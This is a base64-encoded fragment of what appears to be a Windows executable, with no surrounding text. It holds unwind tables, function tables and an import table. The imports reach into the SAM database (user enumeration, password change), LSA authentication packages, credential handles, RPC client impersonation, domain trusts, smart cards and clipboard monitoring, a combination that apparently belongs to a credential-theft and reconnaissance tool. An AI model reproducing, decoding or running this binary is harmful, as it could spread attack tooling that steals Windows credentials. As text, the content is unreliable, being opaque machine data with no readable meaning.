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A3ABOZXRTZXJ2ZXJHZXRJbmZvAAANAERzRW51bWVyYXRlRG9tYWluVHJ1c3RzVwAATkVUQVBJMzIuZGxsAABPREJDMzIuZGxsAAAUAENvQ3JlYXRlSW5zdGFuY2UAAHAAQ29VbmluaXRpYWxpemUAAEMAQ29Jbml0aWFsaXplRXgAAGcAQ29TZXRQcm94eUJsYW5rZXQAbABDb1Rhc2tNZW1GcmVlAG9sZTMyLmRsbABPTEVBVVQzMi5kbGwAAGsBUnBjQmluZGluZ0lucUF1dGhDbGllbnRXAAB5AVJwY0JpbmRpbmdTZXRPcHRpb24AZwFScGNCaW5kaW5nRnJvbVN0cmluZ0JpbmRpbmdXAAD2AVJwY1N0cmluZ0JpbmRpbmdDb21wb3NlVwAAdgFScGNCaW5kaW5nU2V0QXV0aEluZm9FeFcAAPoBUnBjU3RyaW5nRnJlZVcAAHoATWVzSGFuZGxlRnJlZQCXAVJwY0ltcGVyc29uYXRlQ2xpZW50AAC4AVJwY1JldmVydFRvU2VsZgB5AE1lc0VuY29kZUluY3JlbWVudGFsSGFuZGxlQ3JlYXRlAAB2AE1lc0RlY29kZUluY3JlbWVudGFsSGFuZGxlQ3JlYXRlAABlAVJwY0JpbmRpbmdGcmVlAAB7AE1lc0luY3JlbWVudGFsSGFuZGxlUmVzZXQA+gBOZHJNZXNUeXBlRW5jb2RlMgD3AE5kck1lc1R5cGVEZWNvZGUyAPwATmRyTWVzVHlwZUZyZWUyAPQATmRyTWVzVHlwZUFsaWduU2l6ZTIAAH0BUnBjQmluZGluZ1ZlY3RvckZyZWUAANUBUnBjU2VydmVyVXNlUHJvdHNlcUVwVwAAywFScGNTZXJ2ZXJVbnJlZ2lzdGVySWZFeAB7AVJwY0JpbmRpbmdUb1N0cmluZ0JpbmRpbmdXAAAMAlV1aWRUb1N0cmluZ1cAxgFScGNTZXJ2ZXJSZWdpc3RlcklmMgAAqwFScGNNZ210V2FpdFNlcnZlckxpc3RlbgDCAVJwY1NlcnZlckxpc3RlbgDEAVJwY1NlcnZlclJlZ2lzdGVyQXV0aEluZm9XAACIAVJwY0VwVW5yZWdpc3RlcgCGAVJwY0VwUmVnaXN0ZXJXAAC8AVJwY1NlcnZlcklucUJpbmRpbmdzAACqAVJwY01nbXRTdG9wU2VydmVyTGlzdGVuaW5nAAAgAElfUnBjQmluZGluZ0lucVNlY3VyaXR5Q29udGV4dAAAlQBOZHJDbGllbnRDYWxsMgAAIwFOZHJTZXJ2ZXJDYWxsMgAAAwJVdWlkQ3JlYXRlAACHAVJwY0VwUmVzb2x2ZUJpbmRpbmcAeAFScGNCaW5kaW5nU2V0T2JqZWN0AHcBUnBjQmluZGluZ1NldEF1dGhJbmZvVwAAmQFScGNNZ210RXBFbHRJbnFCZWdpbgAAmgFScGNNZ210RXBFbHRJbnFEb25lAJwBUnBjTWdtdEVwRWx0SW5xTmV4dFcAADQASV9ScGNHZXRDdXJyZW50Q2FsbEhhbmRsZQBSUENSVDQuZGxsAAA6AFBhdGhDb21iaW5lVwAAOABQYXRoQ2Fub25pY2FsaXplVwBlAFBhdGhJc1JlbGF0aXZlVwBrAVVybFVuZXNjYXBlVwAASQBQYXRoRmluZEZpbGVOYW1lVwBbAFBhdGhJc0RpcmVjdG9yeVcAAFNITFdBUEkuZGxsABMAU2FtRW51bWVyYXRlVXNlcnNJbkRvbWFpbgAdAFNhbUxvb2t1cE5hbWVzSW5Eb21haW4AAB8AU2FtT3BlbkRvbWFpbgARAFNhbUVudW1lcmF0ZURvbWFpbnNJblNhbVNlcnZlcgAAIQBTYW1PcGVuVXNlcgA4AFNhbWlDaGFuZ2VQYXNzd29yZFVzZXIAABwAU2FtTG9va3VwSWRzSW5Eb21haW4AAAcAU2FtQ29ubmVjdAAABgBTYW1DbG9zZUhhbmRsZQAAGwBTYW1Mb29rdXBEb21haW5JblNhbVNlcnZlcgAAFABTYW1GcmVlTWVtb3J5ACYAU2FtUXVlcnlJbmZvcm1hdGlvblVzZXIAMABTYW1TZXRJbmZvcm1hdGlvblVzZXIAIABTYW1PcGVuR3JvdXAAABAAU2FtRW51bWVyYXRlQWxpYXNlc0luRG9tYWluACwAU2FtUmlkVG9TaWQAHgBTYW1PcGVuQWxpYXMAABUAU2FtR2V0QWxpYXNNZW1iZXJzaGlwABIAU2FtRW51bWVyYXRlR3JvdXBzSW5Eb21haW4AABoAU2FtR2V0TWVtYmVyc0luR3JvdXAAABkAU2FtR2V0TWVtYmVyc0luQWxpYXMAABgAU2FtR2V0R3JvdXBzRm9yVXNlcgBTQU1MSUIuZGxsAAAYAEZyZWVDb250ZXh0QnVmZmVyADQAUXVlcnlDb250ZXh0QXR0cmlidXRlc1cAJwBMc2FDb25uZWN0VW50cnVzdGVkACgATHNhRGVyZWdpc3RlckxvZ29uUHJvY2VzcwAmAExzYUNhbGxBdXRoZW50aWNhdGlvblBhY2thZ2UAAC0ATHNhTG9va3VwQXV0aGVudGljYXRpb25QYWNrYWdlAAAqAExzYUZyZWVSZXR1cm5CdWZmZXIAEQBEZWxldGVTZWN1cml0eUNvbnRleHQAAgBBY3F1aXJlQ3JlZGVudGlhbHNIYW5kbGVXABYARW51bWVyYXRlU2VjdXJpdHlQYWNrYWdlc1cAABkARnJlZUNyZWRlbnRpYWxzSGFuZGxlACUASW5pdGlhbGl6ZVNlY3VyaXR5Q29udGV4dFcAAFNlY3VyMzIuZGxsAAYAQ29tbWFuZExpbmVUb0FyZ3ZXAABTSEVMTDMyLmRsbADHAUlzQ2hhckFscGhhTnVtZXJpY1cAQAFHZXRLZXlib2FyZExheW91dAAcAUdldENsaXBib2FyZFNlcXVlbmNlTnVtYmVyAAAYAUdldENsaXBib2FyZERhdGEAAAQDVHJhbnNsYXRlTWVzc2FnZQAA4ABFbnVtQ2xpcGJvYXJkRm9ybWF0cwAASQBDbG9zZUNsaXBib2FyZAAAIgBDaGFuZ2VDbGlwYm9hcmRDaGFpbgAArwBEaXNwYXRjaE1lc3NhZ2VXAAAqAk9wZW5DbGlwYm9hcmQAUQJSZWdpc3RlckNsYXNzRXhXAAAOA1VucmVnaXN0ZXJDbGFzc1cAAIACU2VuZE1lc3NhZ2VXAABuAENyZWF0ZVdpbmRvd0V4VwCNAlNldENsaXBib2FyZFZpZXdlcgAApgBEZXN0cm95V2luZG93ADoCUG9zdE1lc3NhZ2VXAACcAERlZldpbmRvd1Byb2NXAABfAUdldE1lc3NhZ2VXAFVTRVIzMi5kbGwAAAQARGVzdHJveUVudmlyb25tZW50QmxvY2sAAABDcmVhdGVFbnZpcm9ubWVudEJsb2NrAABVU0VSRU5WLmRsbAAFAEdldEZpbGVWZXJzaW9uSW5mb1NpemVXAA4AVmVyUXVlcnlWYWx1ZVcAAAYAR2V0RmlsZVZlcnNpb25JbmZvVwBWRVJTSU9OLmRsbAAFAEhpZERfR2V0SGlkR3VpZAABAEhpZERfRnJlZVByZXBhcnNlZERhdGEAAAwASGlkRF9HZXRQcmVwYXJzZWREYXRhABUASGlkUF9HZXRDYXBzAAACAEhpZERfR2V0QXR0cmlidXRlcwAABABIaWREX0dldEZlYXR1cmUAEQBIaWREX1NldEZlYXR1cmUASElELkRMTAA/AVNldHVwRGlEZXN0cm95RGV2aWNlSW5mb0xpc3QAAEMBU2V0dXBEaUVudW1EZXZpY2VJbnRlcmZhY2VzAFYBU2V0dXBEaUdldENsYXNzRGV2c1cAAG4BU2V0dXBEaUdldERldmljZUludGVyZmFjZURldGFpbFcAAFNFVFVQQVBJLmRsbAAAPgBTQ2FyZFRyYW5zbWl0AAoAU0NhcmREaXNjb25uZWN0AAgAU0NhcmRDb25uZWN0VwAJAFNDYXJkQ29udHJvbAAAKgBTQ2FyZExpc3RSZWFkZXJzVwAWAFNDYXJkR2V0Q2FyZFR5cGVQcm92aWRlck5hbWVXACQAU0NhcmRMaXN0Q2FyZHNXADMAU0NhcmRSZWxlYXNlQ29udGV4dAAMAFNDYXJkRXN0YWJsaXNoQ29udGV4dAAUAFNDYXJkR2V0QXR0cmliAAATAFNDYXJkRnJlZU1lbW9yeQBXaW5TQ2FyZC5kbGwAACEAV2luU3RhdGlvbkVudW1lcmF0ZVcAABwAV2luU3RhdGlvbkNvbm5lY3RXAAAlAFdpblN0YXRpb25GcmVlTWVtb3J5AAAZAFdpblN0YXRpb25DbG9zZVNlcnZlcgA1AFdpblN0YXRpb25RdWVyeUluZm9ybWF0aW9uVwAzAFdpblN0YXRpb25PcGVuU2VydmVyVwBXSU5TVEEuZGxsAABXTERBUDMyLmRsbAABAEFfU0hBSW5pdAAAAEFfU0hBRmluYWwAAAIAQV9TSEFVcGRhdGUAYWR2YXBpMzIuZGxsAAAEAEFTTjFfQ2xvc2VFbmNvZGVyAAAAQVNOMUJFUkRvdFZhbDJFb2lkAAAJAEFTTjFfRnJlZUVuY29kZWQAAAcAQVNOMV9DcmVhdGVFbmNvZGVyAAAFAEFTTjFfQ2xvc2VNb2R1bGUAAAYAQVNOMV9DcmVhdGVEZWNvZGVyAAADAEFTTjFfQ2xvc2VEZWNvZGVyAAgAQVNOMV9DcmVhdGVNb2R1bGUAbXNhc24xLmRsbAAAGABSdGxGcmVlQW5zaVN0cmluZwAmAFJ0bFVuaWNvZGVTdHJpbmdUb0Fuc2lTdHJpbmcAABoAUnRsRnJlZVVuaWNvZGVTdHJpbmcAABUAUnRsRG93bmNhc2VVbmljb2RlU3RyaW5nAAAXAFJ0bEVxdWFsVW5pY29kZVN0cml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